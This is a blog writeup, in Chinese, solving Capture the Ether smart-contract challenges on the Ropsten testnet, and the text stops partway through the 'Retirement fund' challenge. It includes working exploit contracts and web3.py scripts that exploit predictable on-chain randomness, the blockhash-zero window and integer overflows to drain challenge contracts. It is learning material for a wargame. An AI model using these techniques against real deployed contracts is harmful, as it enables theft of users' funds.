Capture The Ether Writeup
2022-5-7 00:0:0 Author: bestwing.me(查看原文) 阅读量:33 收藏

Capture the ether 是一个适合用来入门合约的 wargame 平台。我最近一直到五一花了点时间做了下一下。 另外这里感谢 @0x9k @pikachu @xhyumiracle @iczc 给我提供的帮助。

平台地址

Capture the Ether - Challenges

Warmup

1. Deploy a contract

题目描述:

To complete this challenge, you need to:

  1. Install MetaMask.
  2. Switch to the Ropsten test network.
  3. Get some Ropsten ether. Clicking the “buy” button in MetaMask will take you to a faucet that gives out free test ether.

After you’ve done that, press the red button on the left to deploy the challenge contract.

You don’t need to do anything with the contract once it’s deployed. Just click the “Check Solution” button to verify that you deployed successfully.

1
2
3
4
5
6
7
8
pragma solidity ^0.4.21;

contract DeployChallenge {
// This tells the CaptureTheFlag contract that the challenge is complete.
function isComplete() public pure returns (bool) {
return true;
}
}

解题

安装完 MetaMask 后, 开启测试网络。

获取代币: 通常 MetaMask 切换到 Ropsten 测试网络后, 点击购买, 可以看到一个 测试水管 ,可以从一个水龙头获取代币

水龙头: https://faucet.metamask.io/

但是这个水龙头我获取不到代币,最后用了 @iczc 的水龙头获取的: ETH Testnet Faucet (chainflag.org)

2. callme

题目描述

To complete this challenge, all you need to do is call a function.

The “Begin Challenge” button will deploy the following contract:

1
2
3
4
5
6
7
8
9
pragma solidity ^0.4.21;

contract CallMeChallenge {
bool public isComplete = false;

function callme() public {
isComplete = true;
}
}

Call the function named callme and then click the “Check Solution” button.

Enjoy this inspirational music while you work: Call On Me.

解题

题目要让我们部署合约后,调用 callme 这个函数,意思让我们尝试与部署后的合约进行交互。

  1. 部署题目合约, 得到一个 challenge 地址


2. 安装 remix-ide 编辑器,或者使用在线的: Remix - Ethereum IDE

部署题目合约用来交互调用 challenge 的 callme 函数

部署方法如下

  • 在文件编辑器中, contracts 文件中新建 callme.sol, 内容如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    pragma solidity ^0.4.21;

    contract CallMeChallenge {
    bool public isComplete = false;

    function callme() public {
    isComplete = true;
    }
    }
  • 转到编译界面,设置编译器版本,然后选择下方的编译

  • 转到部署界面

选择 injected web3 , 点击部署, 填入 At address , 然后就能调用对应公开方法

这里有一个需要注意的地方,调用 callme 的时候记得看清楚调用的合约地址, 像图中这个地方其实调用的方法不对。应该在下面还有一个callme

3. Choose a nickname

题目描述

WARMUP: 200 POINTS

Begin Challenge

It’s time to set your Capture the Ether nickname! This nickname is how you’ll show up on the leaderboard.

The CaptureTheEther smart contract keeps track of a nickname for every player. To complete this challenge, set your nickname to a non-empty string. The smart contract is running on the Ropsten test network at the address 0x71c46Ed333C35e4E6c62D32dc7C8F00D125b4fee.

Here’s the code for this challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

// Relevant part of the CaptureTheEther contract.
contract CaptureTheEther {
mapping (address => bytes32) public nicknameOf;

function setNickname(bytes32 nickname) public {
nicknameOf[msg.sender] = nickname;
}
}

// Challenge contract. You don't need to do anything with this; it just verifies
// that you set a nickname for yourself.
contract NicknameChallenge {
CaptureTheEther cte = CaptureTheEther(msg.sender);
address player;

// Your address gets passed in as a constructor parameter.
function NicknameChallenge(address _player) public {
player = _player;
}

// Check that the first character is not null.
function isComplete() public view returns (bool) {
return cte.nicknameOf(player)[0] != 0;
}
}

Enjoy this inspirational music while you work: Say My Name.

解题

题目要求我们设置我们的 nickname, 调用 setNickName 方法即可, 但是这里函数传入的类型为 bytes32 , 所以我们需要将我们的我们的 nickname 转为 bytes32 , 我这里使用在线的网站进行转换

String To Bytes32 Online Converter (testcoins.io)

转完之后, 在 remix-ide 中调用 setNickName 方法

Lotteries

1. Guesst the number

题目描述

I’m thinking of a number. All you have to do is guess it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
uint8 answer = 42;

function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: Guessing Games.

解题

让我猜 answer 的值是多少, 如果猜对则 tansfer , 代码里的 answer 是写死的 42 ,那么猜 42 即可 。然后代码中要求 msg.value 要求要一个 1 ether

2. Guess the secret number

题目描述

Putting the answer in the code makes things a little too easy.

This time I’ve only stored the hash of the number. Good luck reversing a cryptographic hash!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: Mr. Roboto.

解题

要求 keccak256(n) == 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365, n 为用户输入,且 msg.value == 1 ether

n 的值为 uint 8 , 则范围为 0 - 256, 写一个脚本爆破下,爆破脚本如下:

1
2
3
4
5
6
7
>>> from web3 import Web3
>>> for i in range(0,256):
... if Web3.keccak(i).hex() == '0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365':
... print(i)
... break
170
>>>

solidity 脚本参考 @0x9k PDF

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.21;

contract Test {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

function guess() public returns(uint8) {
for (uint8 n = 0; n< 255; n++)
if (keccak256(n) == answerHash) {

return n; }

} }

PS: 遇到了一个 Python3 Cryptodome 库的 keccak256 和 solidity 跑出来结果不一致的问题
Python and Solidity keccak256 function gives different results

参考文档

Web3 API — Web3.py 5.28.0 documentation (web3py.readthedocs.io)

3. Guess the random number

题目描述:

This time the number is generated based on a couple fairly random sources.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
uint8 answer;

function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: The Random Song.

解题

该题与上一个题的区别是, 这个题目的 answer 由 uint8(keccak256(block.blockhash(block.number - 1), now)); 计算而得。搜了下相关 api , 这个代码版本为 0.4.21 :

  • block.blockhash() is now blockhash() hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero
  • now is block.timestamp : current block number
  • block.number (uint): current block number

由于合约的内容都是公开的,因此我们可以在合约对应的 stroge 里找到 number。 这里有几种方案

  1. 用 solidity 写一个交互代码
  2. 用 Python 的 web3 写一个脚本

我这里使用 web3 写一个交互脚本,由于web3.py 因为自身不会作为一个区块链的节点存在,因此它需要有一个节点用来存取区块链上的资料。一般来说最安全的方式应该是自己使用 geth 或者 parity 来自建节点,不过如果在不想要自建节点的状况时,可以考虑看看 infura 提供的 HTTP 节点服务。

我这里到 Infura 注册一个账号, 然后获取对应的 API Key

脚本内容如下:

1
2
3
4
5
6
7
8
from web3 import Web3

infura_url = 'https://mainnet.infura.io/v3/[api_key]'
web3 = Web3(Web3.HTTPProvider(infura_url))

address = 'XXXX'
a = web3.eth.getStorageAt(address, 1)
print(a)

参考资料

web3.eth API — Web3.py 5.28.0 documentation (web3py.readthedocs.io)
Capture Ether: Guess the Random Number on a Smart Contract | by Tomás | Better Programming
Let’s Play — Capture the Ether : Lotteries (Part I) | by Forest Fang | Medium
通过 web3.py 用 Python 存取 Ethereum-51CTO.COM

4. Guess the new number

题目描述:

The number is now generated on-demand when a guess is made.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: I Guess It’s Christmas Time.

题解:

这个题目的随机数是在 guess 函数调用的时候生成的。 即题目描述中 的 generated on-demand when a guess is made , 因此我们没法直接获取改随机值。仔细阅读代码我们发现, answer 由代码 uint8(keccak256( block.blockhash(block.number - 1), now)); 生成 。通过查阅相关资料我们发现:

block.blockhash(block.number-1)

有一些合约则基于负一高度区块区块哈希来产生伪随机数,这也是有缺陷的。攻击合约只要以相同代码执行,即可以产生到同样的伪随机数。

示例:< https://etherscan.io/address/0xF767fCA8e65d03fE16D4e38810f5E5376c3372A8>

1
//Generate random number between 0 & maxuint256 constant private FACTOR =  1157920892373161954235709850086879078532699846656405640394575840079131296399;function rand(uint max) constant private returns (uint256 result){  uint256 factor = FACTOR * 100 / max;  uint256 lastBlockNumber = block.number - 1;  uint256 hashVal = uint256(block.blockhash(lastBlockNumber));  return uint256((uint256(hashVal) / factor)) % max;}

因此我们只需要写一个中继合约,通过中继合约调用目标合约的相关函数,即可。中继合约需要用到 Interfaces) 利用代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.21;

interface GuessTheNewNumberSolve {

function guess(uint8 n) external payable;
}

contract GuessTheNewNumberSolver {

address owner;
function GuessTheNewNumberSolver() public {
owner = msg.sender;
}

function solve(address _challengeAddress) public payable {

require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

GuessTheNewNumberSolve challenge = GuessTheNewNumberSolve(_challengeAddress);
challenge.guess.value(msg.value)(answer);

}


function withdraw() public {
require(msg.sender == owner) ;
owner.transfer(address(this).balance);
}

}

在 remix 中部署该合约代码, 并调用 solve 函数

参考资料
以太坊智能合约中随机数预测 - FreeBuf网络安全行业门户
Let’s Play — Capture the Ether : Lotteries (Part II)

5. Predict the future

题目描述:

This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.

Note that it is indeed possible to solve this challenge without losing any ether.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;

function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

解题:

, 题目要求先通过 lockInGuess 下注, 然后调用 settle 开奖。 由于

1
2
3
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

这部分代码的存在,我们无法直接通过预测来解决这个题目。 但是由于 answer 范围为 0 - 9, 我们可以先 lock 一个值, 然后当觉得时机合适的,即 answer == uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; 的时候,我们再调用 settle

  1. 首先编写一个中继合约, 合约内容要能调用 challenge 的 lock 以及settle, 在合约中调用 settle 前要判断下是否时机符合
  2. 编写一个 web3 脚本, 来调用中继合约的判断函数, 当 challenge 的 isComplete 已经被调用后, 就退出脚本

PS: 编写 web3 python3 脚本所需要的 API JSON 可在 Remix 中导出。

code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity ^0.4.21;

interface IGuessTheNewNumberChallenge {
function isComplete() external view returns (bool);
function lockInGuess(uint8 n) external payable;
function settle() external;
}

contract GuessTheNumberSolver {
address owner;

function GuessTheNumberSolver() public {
owner = msg.sender;
}

function lockInGuess(address _addr, uint8 n) public payable {
require(msg.value == 1 ether);
IGuessTheNewNumberChallenge challenge = IGuessTheNewNumberChallenge(_addr);

challenge.lockInGuess.value(msg.value)(n);
}

function settle(address _addr, uint8 n ) public payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if (answer == n ){
IGuessTheNewNumberChallenge challenge = IGuessTheNewNumberChallenge(_addr);
challenge.settle();
}
}

function() public payable {}

function withdraw() public {
require(msg.sender == owner) ;
owner.transfer(address(this).balance);
}

}

6. Predict the block hash

题目描述:

Guessing an 8-bit number is apparently too easy. This time, you need to predict the entire 256-bit block hash for a future block.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;

function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

bytes32 answer = block.blockhash(settlementBlockNumber);

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

Enjoy this inspirational music while you work: Get Lucky.

解题:

根据黄皮书对 BLOCKHASH 的定义:只能获取最近 256 个区块的哈希,超出时返回 0

所以我们可以先猜 0 的 hash, 然后等他超过 256 个区块,再来开奖。 可以用 python3 web3直接实现利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from web3 import Web3 ,HTTPProvider
import json
import time

challenge_addr = ""
wallet_addr = ""
wallet_private_key = ""


challenge_api = '''[
{
"constant": false,
"inputs": [],
"name": "settle",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "isComplete",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "hash",
"type": "bytes32"
}
],
"name": "lockInGuess",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"payable": true,
"stateMutability": "payable",
"type": "constructor"
}
]
'''


w3 = Web3(HTTPProvider("https://ropsten.infura.io/v3/[key]"))


contract = w3.eth.contract(address = challenge_addr, abi = json.loads(challenge_api))
acct = w3.eth.account.from_key(wallet_private_key)

my_guess_hash = "0000000000000000000000000000000000000000000000000000000000000000"

print(w3.eth.getTransactionCount(acct.address))

print(contract.all_functions())

tx = contract.functions.lockInGuess(my_guess_hash).buildTransaction(
{
"value": Web3.toWei(1, 'ether'),
"gas": 3000000,
"gasPrice": w3.eth.gasPrice,
"nonce": w3.eth.getTransactionCount(acct.address) ,
"chainId": 3
}
)

signed = acct.signTransaction(tx)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)

print(w3.eth.wait_for_transaction_receipt(tx_id, timeout= 300 ))

Math

1. Token sale

题目描述:

This token contract allows you to buy and sell tokens at an even exchange rate of 1 token per ether.

The contract starts off with a balance of 1 ether. See if you can take some of that away.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;

function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}

function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);

balanceOf[msg.sender] += numTokens;
}

function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);

balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

Enjoy this inspirational music while you work: Sale Sail.

解题:

buy 函数中的乘法存在溢出, 因此我们可以低买高卖 。 此处的msg.value是以ether为单位,因为一个PRICE_PRE_TOKEN就是1 ether,这里我们需要明白在以太坊里最小的单位是wei,所以此处的1 ether事实上也就是10^18 wei,即其值的大小为10^18 wei,这样就满足我们溢出的条件了,因为以太坊处理数据是以256位为单位,我们传入一个较大的numTokens,乘法运算溢出后所需的mag.value就非常小了, 直接利用 Python 脚本解决这个题目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121

from socket import timeout
from web3 import Web3 ,HTTPProvider
import json
import time

challenge_addr = "0x0e27e17Ab06db38134825299a2bA0A3749Ea810c"
wallet_addr = "0x5b667caAC1E53411D9b87Fc39eEe2F881FDDF589"
wallet_private_key = ""

challenge_api = '''[
{
"constant": true,
"inputs": [
{
"name": "",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "isComplete",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "numTokens",
"type": "uint256"
}
],
"name": "buy",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "numTokens",
"type": "uint256"
}
],
"name": "sell",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"payable": true,
"stateMutability": "payable",
"type": "constructor"
}
]
'''

w3 = Web3(HTTPProvider("https://ropsten.infura.io/v3/[key]"))

contract = w3.eth.contract(address = challenge_addr, abi = json.loads(challenge_api))
acct = w3.eth.account.from_key(wallet_private_key)

min_token_number_with_overflow = 2 ** 256 // 10 ** 18 + 1
value = (min_token_number_with_overflow * 10 ** 18) % 2 ** 256

print("[*] Buying ...")

tx = contract.functions.buy(min_token_number_with_overflow).buildTransaction(
{
'value' : value,
'gas' : 3000000,
"nonce": w3.eth.getTransactionCount(acct.address) ,
}
)

signed = acct.signTransaction(tx)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300)

if receipt['status'] == 1:
print("[+] Bought!")
print("[*] Selling ...")

tx = contract.functions.sell(1).buildTransaction(
{
'gas' : 3000000,
"nonce": w3.eth.getTransactionCount(acct.address) ,
}
)
signed = acct.signTransaction(tx)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300)
if receipt['status'] == 1:
print("[+] Sold!")
print(contract.functions.isComplete().call())
print('[+] Solved')

2. Token whale

题目描述:

This ERC20-compatible token is hard to acquire. There’s a fixed supply of 1,000 tokens, all of which are yours to start with.

Find a way to accumulate at least 1,000,000 tokens to solve this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
address player;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;

function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}

function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}

event Transfer(address indexed from, address indexed to, uint256 value);

function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
}

function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

event Approval(address indexed owner, address indexed spender, uint256 value);

function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}

function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);

allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}

Enjoy this inspirational music while you work: Tough Decisions.

解题:

初始账户有 1000 个token, 题目要求我们获取到 1000000 token 。 主要交易函数有两个: transfer 以及transferFrom , 这两个函数最后都调用了 _transfer 。通过简单审计我们发现, _transfer 中的 balanceOf[msg.sender] -= value; 是存在溢出的 。 另外我们注意到 transferFrom 进行了大小检, 但是检查的是 balanceOf[from] >= value , 但实际扣款的是 msg.sender , 因此此处存在漏洞风险。

利用思路:

  1. 准备需要两个账户 (通过 metamask 新建一个账户即可 )
  2. 通过 transfer 向新建的账户转 balance, 多转点, 让新账户的 balance 多于主账户的即可
  3. 调用 approve 设置 allowance , spender 为主账户,value 为大于后面要转的值即可 ,例如设置为 1000
  4. 最后调用 transferFrom 函数 from 设置为账号 2, to 设置为非主账户即可, 转入一个值让其溢出即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
from web3 import Web3 ,HTTPProvider
import json
import time
from pwn import log



challenge_addr = "0xDC57892A1058d1e54c9364Ba726BB7643bdA6b2C"

MasterWalt = "0x5b667caAC1E53411D9b87Fc39eEe2F881FDDF589"
MasterPrivKey = ""

HelpWalt = "0x0cC33CD693bf9BF609e1B7C0E88E34Ff972Afe6f"
HelpPrivKey = ""

challenge_api = '''[
{
"constant": true,
"inputs": [],
"name": "name",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "spender",
"type": "address"
},
{
"name": "value",
"type": "uint256"
}
],
"name": "approve",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "from",
"type": "address"
},
{
"name": "to",
"type": "address"
},
{
"name": "value",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "decimals",
"outputs": [
{
"name": "",
"type": "uint8"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "symbol",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "to",
"type": "address"
},
{
"name": "value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "isComplete",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "",
"type": "address"
},
{
"name": "",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"name": "_player",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "from",
"type": "address"
},
{
"indexed": true,
"name": "to",
"type": "address"
},
{
"indexed": false,
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "owner",
"type": "address"
},
{
"indexed": true,
"name": "spender",
"type": "address"
},
{
"indexed": false,
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
}
]
'''


w3 = Web3(HTTPProvider("https://ropsten.infura.io/v3/[api_key]"))

contract = w3.eth.contract(address = challenge_addr, abi = json.loads(challenge_api))

MasterAccount = w3.eth.account.from_key(MasterPrivKey)
HelpAccount = w3.eth.account.from_key(HelpPrivKey)

log.info("Step1 , Transfer to HELP Account: 800 value ")

tx = contract.functions.transfer(HelpAccount.address, 800).buildTransaction(
{
'nonce' : w3.eth.getTransactionCount(MasterAccount.address),
'gas' : 3000000
}
)
signed = MasterAccount.signTransaction(tx)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300)

if receipt['status'] != 1:
log.failure("Step1 Failed !")
exit(0)


log.info("Step2 , Call approve")

tx = contract.functions.approve(MasterAccount.address, 1000).buildTransaction(
{
'nonce' : w3.eth.getTransactionCount(HelpAccount.address),
'gas' : 3000000
}
)
signed = HelpAccount.signTransaction(tx)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300)
if receipt['status'] != 1:
log.failure("Step2 Failed !")
exit(0)



log.info("Step3 , call transferFrom to solve challenge")

tx = contract.functions.transferFrom(HelpAccount.address,HelpAccount.address, 500).buildTransaction(
{
'nonce' : w3.eth.getTransactionCount(MasterAccount.address),
'gas' : 3000000
}
)
signed = MasterAccount.signTransaction(tx)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300)
if receipt['status'] != 1:
log.failure("Step3 Failed !")
exit(0)

print(contract.functions.isComplete().call())
log.success("Solved !")

3. Retirement fund

题目描述:

This retirement fund is what economists call a commitment device. I’m trying to make sure I hold on to 1 ether for retirement.

I’ve committed 1 ether to the contract below, and I won’t withdraw it until 10 years have passed. If I do withdraw early, 10% of my ether goes to the beneficiary (you!).

I really don’t want you to have 0.1 of my ether, so I’m resolved to leave those funds alone until 10 years from now. Good luck!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;

function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);

beneficiary = player;
startBalance = msg.value;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function withdraw() public {
require(msg.sender == owner);

if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}

function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}

Enjoy this inspirational music while you work: Smooth Criminal.

解题:

题目设置了一个十年后才能取出 eth 的合约, 要求我们提前取出所有的 Balance 。重点在 collectPenalty 函数上。

如果我们能使得 withdrawn > 0 成立, 则可以取出所有的恶 balance , 我们会注意到 startBalance - address(this).balance 存在溢出, 但是条件得是 startBalance 小于 address(this).balance

